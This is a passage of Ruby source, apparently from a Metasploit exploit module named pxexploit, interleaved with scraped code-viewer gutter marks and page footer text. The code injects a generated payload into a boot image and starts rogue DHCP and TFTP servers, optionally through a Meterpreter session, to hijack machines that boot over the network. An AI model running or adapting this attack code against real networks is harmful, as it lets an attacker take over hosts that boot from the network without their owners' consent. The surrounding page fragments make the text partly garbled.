||||||
# Prepare payload
|
|
||||||
print_status("Creating initrd")
|
|
||||||
initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
|
|
||||||
uncompressed = Rex::Text.ungzip(initrd)
|
|
||||||
payl = payload.generate
|
|
||||||
uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
|
|
||||||
initrd = Rex::Text.gzip(uncompressed)
|
|
||||||
|
|
||||||
# Meterpreter attack
|
|
||||||
if framework.sessions.include? datastore['SESSION']
|
|
||||||
client = framework.sessions[datastore['SESSION']]
|
|
||||||
if not client.lanattacks
|
|
||||||
print_status("Loading lanattacks extension...")
|
|
||||||
client.core.use("lanattacks")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Loading DHCP options...")
|
|
||||||
client.lanattacks.load_dhcp_options(datastore)
|
|
||||||
1.upto(4) do |i|
|
|
||||||
print_status("Loading file #{i} of 4")
|
|
||||||
if i < 4
|
|
||||||
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
|
|
||||||
else
|
|
||||||
contents = initrd
|
|
||||||
end
|
|
||||||
client.lanattacks.add_tftp_file("update#{i}",contents)
|
|
||||||
end
|
|
||||||
print_status("Starting TFTP server...")
|
|
||||||
client.lanattacks.start_tftp
|
|
||||||
print_status("Starting DHCP server...")
|
|
||||||
client.lanattacks.start_dhcp
|
|
||||||
print_status("pxesploit attack started")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# normal attack
|
|
||||||
print_status("Starting TFTP server...")
|
|
||||||
@tftp = Rex::Proto::TFTP::Server.new
|
|
||||||
@tftp.set_tftproot(datastore['TFTPROOT'])
|
|
||||||
@tftp.register_file('update4',initrd)
|
|
||||||
@tftp.start
|
|
||||||
|
|
||||||
print_status("Starting DHCP server...")
|
|
||||||
@dhcp = Rex::Proto::DHCP::Server.new( datastore )
|
|
||||||
@dhcp.start
|
|
||||||
print_status("pxesploit attack started")
|
|
||||||
|
|
||||||
# Wait for finish..
|
|
||||||
@tftp.thread.join
|
|
||||||
@dhcp.thread.join
|
|
||||||
print_status("pxesploit attack completed")
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
Loading…
Add table
Reference in a new issue